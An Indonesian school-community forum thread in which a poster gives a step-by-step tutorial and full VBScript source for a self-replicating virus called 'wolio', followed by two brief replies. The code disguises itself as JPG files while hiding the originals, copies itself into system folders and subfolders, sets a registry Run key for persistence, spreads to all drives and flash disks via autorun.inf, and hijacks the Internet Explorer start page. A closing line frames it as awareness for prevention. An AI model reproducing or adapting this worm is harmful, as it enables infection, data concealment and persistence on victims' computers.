Creative - Komunitas SMK Negeri 8 Malang Untuk Indonesia
Ayo Register dulu untuk melihat lebih dalam lagi di Komunitas kami!!!

Join the forum, it's quick and easy

Creative - Komunitas SMK Negeri 8 Malang Untuk Indonesia
Ayo Register dulu untuk melihat lebih dalam lagi di Komunitas kami!!!
Creative - Komunitas SMK Negeri 8 Malang Untuk Indonesia
Would you like to react to this message? Create an account in a few clicks or log in to continue.
Pencarian
 
 

Display results as :
 


Rechercher Advanced Search

Latest topics
» CHEAT PEMBACA KARTU LAWAN EDISI TERBARU 2011-2012
buat virus dg vb (2) EmptyMon Dec 26, 2011 12:33 am by azoyy240

» Cheat Seal Online 2011
buat virus dg vb (2) EmptyTue Sep 20, 2011 8:45 pm by roxas007

» Software untuk hack semua game
buat virus dg vb (2) EmptyTue Aug 30, 2011 8:44 pm by Admin

» sealindo database
buat virus dg vb (2) EmptyMon Aug 22, 2011 4:30 am by shareil

» Cheat Seal Online Indonesia Februari 2011
buat virus dg vb (2) EmptySun Jul 31, 2011 1:45 am by Zoan

» Sadari tingkat kecerdasanmu
buat virus dg vb (2) EmptyTue Jul 26, 2011 3:25 pm by alga

» Trik mempercepat waktu shutdown
buat virus dg vb (2) EmptyTue Jul 26, 2011 3:23 pm by alga

» Trik ampuh melawan virus
buat virus dg vb (2) EmptyTue Jul 26, 2011 3:21 pm by alga

» cara mempercepat booting
buat virus dg vb (2) EmptyTue Jul 26, 2011 3:18 pm by alga

Social bookmarking

Social bookmarking reddit      

Bookmark and share the address of Aaz [ C ] reativE on your social bookmarking website

Bookmark and share the address of Creative - Komunitas SMK Negeri 8 Malang Untuk Indonesia on your social bookmarking website

Navigation
 Portal
 Indeks
 Anggota
 Profil
 FAQ
 Pencarian

buat virus dg vb (2)

3 posters

Go down

buat virus dg vb (2) Empty buat virus dg vb (2)

Post  Ali_CoY GaMeR J.A.I.L Mon Mar 21, 2011 11:33 am

[You must be registered and logged in to see this image.]

Virus komputer merupakan program komputer yang dapat menggandakan atau menyalin dirinya sendiri dan menyebar dengan cara menyisipkan salinan dirinya ke dalam program atau dokumen lain. Virus komputer dapat dianalogikan dengan virus
biologis yang menyebar dengan cara menyisipkan dirinya sendiri ke sel makhluk hidup. Virus komputer dapat merusa (misalnya dengan merusak data pada dokumen), membuat pengguna komputer merasa terganggu, maupun tidak menimbulkan efek sama sekali. Virus yang akan kita coba buat kali ini akan dibuat dengan menggunakan Visual Basic Script. Terlebih dulu kira akan rencakan skenario kerja dari virus tersebut. Skenario virus tersebut adalah sebagai berikut:

1. Virus akan mencari file-file .JPG pada folder dan subfolder satu tingkat didalamnya, setelah itu merubah ekstension file JPG tersebut menjadi JPEG dan merubah atributnya menjadi hidden file. Sehingga akan dikira file tersebut terhapus.
2. Meng-copy-kan dirinya (virus) dalam folder-folder tertentu dalam Windows
3. Memodifikasi Registry agar secara otomatis menjalankan script virus pada saat restart
4. Menularkan diri pada drive-drive yang aktif termasuk flash disk.
5. Membuat halaman HTML tertentu agar dijalankan pada start page di Internet Explorer

Nah, demikianlah skenario virus yang akan kita buat. Untuk lebih jelasnya kita akan
pelajari dari script dibawah ini:

1. Pada bagian ini akan dibuat sebuah prosedur untuk mencari file-file JPG dan merubahnya sesuai dengan skenario diatas
Sub serangan_jpg(target)
on error resume next
set ftarget=fso.GetFile(target)
set fsource = fso.GetFile(Wscript.ScriptFullName)
ftarget.Copy(Left(target,instrrev(target,”.”)) & “jpeg”)
set fbackup = fso.GetFile(Left(target,instrrev(target,”.”)) & “jpeg”)
fbackup.Attributes = 2 fsource.Copy(Left(target,instrrev(target,”.”)) & “jpg ” & “.vbs”)
ftarget.Delete
ftarget.Close
fsource.Close
End Sub
Sub carifilejpg(folder)
For Each filetarget in fso.GetFolder(folder).Files
If (Right(filetarget,3)=”jpg”) then serangan_jpg(filetarget)
Next
End Sub

2. Prosedur dibawah ini berfungsi untuk mencari drive yang aktif termasuk media flash disk dan kemudian menularinya.
Sub serangan_drive()
Set fso = CreateObject(”Scripting.FileSystemObject”)
Set Drives=fso.drives
adaflashdisk = False
For Each drive in Drives
If drive.isready Then
fsource.Copy(drive & “” & “wolio.vbs”)
If drive.DriveType = 1 And drive.DriveLetter > “C:” Then adaflashdisk = True
End If
Next
If adaflashdisk = True Then
set fileautorun = fso.CreateTextFile(drive.DriveLetter & “” & “autorun.inf”,False)
fileautorun.WriteLine(”[AUTORUN]“)
fileautorun.WriteLine(”RUN=wolio.vbs”)
End If
End Sub

3. Merubah Registry agar Start Page pada Internet Explorer menjalankan file HTML yang diinginkan
Sub serangan_ie()
If (regedit.RegRead(”HKEY_CURRENT_USER\SOFTWARE\MicrosoftInternet Explorer\Main\Start
Page”)<>”c:\windows\system32\wolio.html”) Then
regedit.RegWrite “HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Main\Start
Page”,”c:\windows\system32\wolio.html”
End If
End Sub

4. Bagian ini digunakan untuk membuat sebuah file HTML yang akan menjalankan script virus
Sub buat_html()
set filehtml = fso.CreateTextFile(”c:windowssystem32wolio.html”,True)
filehtml.WriteLine(””)
filehtml.WriteLine(””)
“)
filehtml.WriteLine(”Welcome to Wolio”)
filehtml.WriteLine(”filehtml.WriteLine(””)
filehtml.WriteLine(””)
filehtml.WriteLine(””)
filehtml.WriteLine(””)
filehtml.WriteLine(””)
filehtml.WriteLine(”Selamat Datang di Wolio VBS “)
filehtml.WriteLine(””)
filehtml.WriteLine(””)
End Sub

5. Pada bagian ini akan mencari folder yang ada dan menularinya dengan script virus
Sub serangan_folder(foldername)
on error resume next

For Each subfolder in fso.GetFolder(foldername).SubFolders
fsource.Copy(subfolder & “wolio.vbs”)
carifilejpg(subfolder)
next
End Sub

6. Bagian dibawah ini adalah bagian yang utama gunanya untuk mendeklarasikan variabel dan memangggil semua prosedur
on error resume next
dim fso, fsource, ftarget, fbackup, scriptname, myfolder, subfolder, preview, filetarget, sys, regedit, drive,
filehtml, fileautorun
dim adaflashdisk

set fso = CreateObject(”Scripting.FileSystemObject”)
set fsource = fso.GetFile(Wscript.ScriptFullName)
set regedit=CreateObject(”WScript.Shell”)

myfolder = Left(fsource,InStrRev(fsource,””))
‘ Copy-kan diri ke “c:windowssystem32″

fsource.Copy(”c:windowssystem32wolio.vbs”)
‘ Cari dan infeksi file JPG didalam folder
carifilejpg(myfolder)
‘ Copy-kan diri di sub folder yang ada
serangan_folder(myfolder)
‘ Regitry
if
(regedit.RegRead(”HKEY_LOCAL_MACHINE\SOFTWAREMicrosoft\Windows\Current\Version\Run\Wolio”)<>”c:\win
dows\system32\wolio.vbs”) Then
regedit.RegWrite
“HKEY_LOCAL_MACHINE\SOFTWAREMicrosoft\Windows\Current\VersionRun\Wolio”,”c:\windows\system32\wolio.
vbs”
End If
‘ Copy-kan diri ke semua drive aktif
serangan_drive()
‘ Buat file wolio.html
buat_html()
‘ Ubah Start Page di Internet Explorer
serangan_ie()

Demikianlah artikel tentang cara pembuatan dan penuluran sebuah virus yang dibuat dengan VBS. Setelah mengetahui teknik penyebaran suatu virus yang dibuat dengan VBS, maka diharapkan kepada Anda agar dapat melakukan pencegahan. Virus yang kita pelajari kali ini sebenarnya hanya virus yang “bodoh”, ini hanya membuka wacana Anda terhadap bahaya dari virus yang dibuat dengan VBS. Semoga artikel ini dapat bermanfaat
Ali_CoY GaMeR J.A.I.L
Ali_CoY GaMeR J.A.I.L
Admin
Admin

Jumlah posting : 71
Join date : 21.03.11
Age : 29
Lokasi : Ngalam

http://huzain07.blogger.com

Kembali Ke Atas Go down

buat virus dg vb (2) Empty Re: buat virus dg vb (2)

Post  ika uki Wed Mar 23, 2011 5:14 pm

study Canggih~ Coy...---- rabbit
ika uki
ika uki
Academy Student
Academy Student

Jumlah posting : 36
Join date : 23.03.11
Age : 28
Lokasi : ngalam

http://123horas.blogspot.com

Kembali Ke Atas Go down

buat virus dg vb (2) Empty Re: buat virus dg vb (2)

Post  mylotic_melody Sun Mar 27, 2011 5:15 pm

sekarang ni viruz uda kedetect belom ?
mylotic_melody
mylotic_melody

Jumlah posting : 23
Join date : 21.03.11
Age : 29
Lokasi : Malang

Kembali Ke Atas Go down

buat virus dg vb (2) Empty Re: buat virus dg vb (2)

Post  Sponsored content


Sponsored content


Kembali Ke Atas Go down

Kembali Ke Atas

- Similar topics

 
Permissions in this forum:
Anda tidak dapat menjawab topik